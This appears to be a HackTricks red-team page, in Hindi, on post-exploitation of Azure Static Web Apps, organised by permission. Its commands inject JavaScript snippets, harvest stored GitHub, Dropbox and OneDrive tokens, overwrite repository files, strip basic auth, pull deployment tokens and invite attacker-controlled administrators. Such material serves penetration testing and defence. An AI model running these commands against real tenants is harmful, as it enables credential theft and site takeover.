Az - Static Web Apps Post Exploitation
Reading time: 11 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Azure Static Web Apps
इस सेवा के बारे में अधिक जानकारी के लिए देखें:
Microsoft.Web/staticSites/snippets/write
एक स्निप्पेट बनाकर एक स्थिर वेब पृष्ठ को मनमाने HTML कोड को लोड करना संभव है। इससे एक हमलावर को वेब ऐप के अंदर JS कोड इंजेक्ट करने और संवेदनशील जानकारी जैसे क्रेडेंशियल्स या म्नेमोनिक कुंजियों (वेब3 वॉलेट्स में) को चुराने की अनुमति मिल सकती है।
निम्नलिखित कमांड एक स्निप्पेट बनाएगी जो हमेशा वेब ऐप द्वारा लोड की जाएगी::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
कॉन्फ़िगर की गई तीसरी पार्टी क्रेडेंशियल्स पढ़ें
जैसा कि ऐप सेवा अनुभाग में समझाया गया है:
निम्नलिखित कमांड चलाकर तीसरी पार्टी क्रेडेंशियल्स पढ़ना संभव है जो वर्तमान खाते में कॉन्फ़िगर की गई हैं। ध्यान दें कि यदि उदाहरण के लिए कुछ Github क्रेडेंशियल्स किसी अन्य उपयोगकर्ता में कॉन्फ़िगर की गई हैं, तो आप किसी अन्य से टोकन तक पहुँच नहीं पाएंगे।
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
यह कमांड Github, Bitbucket, Dropbox और OneDrive के लिए टोकन लौटाता है।
यहाँ टोकन की जांच करने के लिए कुछ कमांड उदाहरण दिए गए हैं:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
फ़ाइल ओवरराइट करें - रूट, HTML, JS ओवरराइट करें...
Azure के माध्यम से Github रेपो के अंदर एक फ़ाइल को ओवरराइट करना संभव है जिसमें ऐप है, Github टोकन के माध्यम से एक अनुरोध भेजकर जैसे कि निम्नलिखित जो फ़ाइल के ओवरराइट करने के लिए पथ, फ़ाइल की सामग्री और कमिट संदेश को इंगित करेगा।
इसका दुरुपयोग हमलावरों द्वारा किया जा सकता है ताकि वे मूल रूप से वेब ऐप की सामग्री को बदल सकें ताकि दुर्भावनापूर्ण सामग्री (क्रेडेंशियल्स, म्नेमोनिक कुंजी चुराना...) परोस सकें या बस कुछ पथों को अपने सर्वरों पर रीरूट करने के लिए staticwebapp.config.json
फ़ाइल को ओवरराइट कर सकें।
warning
ध्यान दें कि यदि कोई हमलावर किसी भी तरह से Github रेपो को समझौता करने में सफल होता है, तो वे Github से सीधे फ़ाइल को भी ओवरराइट कर सकते हैं।
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
Microsoft.Web/staticSites/config/write
इस अनुमति के साथ, यह पासवर्ड को संशोधित करना संभव है जो एक स्थिर वेब ऐप की सुरक्षा करता है या यहां तक कि हर वातावरण को अनसुरक्षित करना भी संभव है, जैसे कि निम्नलिखित अनुरोध भेजकर:
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
यह अनुमति API कुंजी तैनाती टोकन प्राप्त करने की अनुमति देती है जो स्थिर ऐप के लिए है:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
फिर, टोकन का उपयोग करके ऐप को अपडेट करने के लिए आप निम्नलिखित कमांड चला सकते हैं। ध्यान दें कि यह कमांड Github Action https://github.com/Azure/static-web-apps-deploy कैसे काम करता है यह जांचने के बाद निकाली गई है, क्योंकि यह Azure द्वारा डिफ़ॉल्ट रूप से उपयोग करने के लिए सेट की गई है। इसलिए भविष्य में चित्र और पैरामीटर बदल सकते हैं।
tip
ऐप को तैनात करने के लिए आप swa
टूल का उपयोग कर सकते हैं https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token या निम्नलिखित कच्चे चरणों का पालन करें:
- रेपो डाउनलोड करें https://github.com/staticwebdev/react-basic (या कोई अन्य रेपो जिसे आप तैनात करना चाहते हैं) और
cd react-basic
चलाएँ। - उस कोड को बदलें जिसे आप तैनात करना चाहते हैं
- इसे तैनात करें (याद रखें कि
<api-token>
बदलना है):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
warning
भले ही आपके पास टोकन हो, आप ऐप को तैनात नहीं कर पाएंगे यदि Deployment Authorization Policy Github पर सेट है। टोकन का उपयोग करने के लिए आपको तैनाती विधि को APi टोकन का उपयोग करने के लिए बदलने के लिए अनुमति Microsoft.Web/staticSites/write
की आवश्यकता होगी।
Microsoft.Web/staticSites/write
इस अनुमति के साथ, यह संभव है कि स्टेटिक वेब ऐप के स्रोत को एक अलग Github रिपॉजिटरी में बदलें, हालाँकि, इसे स्वचालित रूप से प्रावधानित नहीं किया जाएगा क्योंकि यह एक Github Action से किया जाना चाहिए।
हालांकि, यदि Deployment Authorization Policy Github पर सेट है, तो यह संभव है कि नए स्रोत रिपॉजिटरी से ऐप को अपडेट करें!।
यदि Deployment Authorization Policy Github पर सेट नहीं है, तो आप इसे उसी अनुमति Microsoft.Web/staticSites/write
के साथ बदल सकते हैं।
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
ऐप को डिप्लॉय करने के लिए उदाहरण Github Action:
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
इस अनुमति के साथ स्टेटिक वेब ऐप के API कुंजी को रीसेट करना संभव है जो संभावित रूप से ऐप को स्वचालित रूप से तैनात करने वाले वर्कफ़्लो को DoS कर सकता है।
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
यह अनुमति एक उपयोगकर्ता के लिए निमंत्रण बनाने की अनुमति देती है ताकि वह एक विशिष्ट दिए गए भूमिका के साथ एक स्थिर वेब ऐप के अंदर संरक्षित पथों तक पहुँच सके।
लॉगिन एक पथ में स्थित है जैसे /.auth/login/github
गिटहब के लिए या /.auth/login/aad
Entra ID के लिए और एक उपयोगकर्ता को निम्नलिखित कमांड के साथ आमंत्रित किया जा सकता है:
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
Pull Requests
डिफ़ॉल्ट रूप से, एक ही रेपो में एक शाखा से Pull Requests को स्वचालित रूप से संकलित और एक स्टेजिंग वातावरण में बनाया जाएगा। इसका दुरुपयोग एक हमलावर द्वारा किया जा सकता है जिसके पास रेपो पर लिखने की अनुमति है लेकिन उत्पादन शाखा (आमतौर पर main
) की शाखा सुरक्षा को बायपास करने की क्षमता नहीं है ताकि ऐप का एक दुर्भावनापूर्ण संस्करण स्टेजिंग URL में तैनात किया जा सके।
स्टेजिंग URL का यह प्रारूप है: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>
जैसे: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
tip
ध्यान दें कि डिफ़ॉल्ट रूप से बाहरी PRs वर्कफ़्लो नहीं चलाएंगे जब तक कि उन्होंने कम से कम 1 PR को रेपो में मर्ज नहीं किया हो। एक हमलावर रेपो में एक मान्य PR भेज सकता है और फिर एक दुर्भावनापूर्ण PR भेज सकता है ताकि स्टेजिंग वातावरण में दुर्भावनापूर्ण ऐप तैनात किया जा सके। हालाँकि, एक अप्रत्याशित सुरक्षा है, स्टैटिक वेब ऐप में तैनात करने के लिए डिफ़ॉल्ट Github Action को उस गुप्त कुंजी तक पहुँच की आवश्यकता होती है जिसमें तैनाती टोकन होता है (जैसे secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F
) भले ही तैनाती IDToken के साथ की गई हो। इसका मतलब है कि क्योंकि एक बाहरी PR इस गुप्त कुंजी तक पहुँच नहीं रखेगा और एक बाहरी PR बिना किसी PR के स्वीकार किए बिना यहाँ एक मनमाना टोकन रखने के लिए वर्कफ़्लो को नहीं बदल सकता, यह हमला वास्तव में काम नहीं करेगा।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।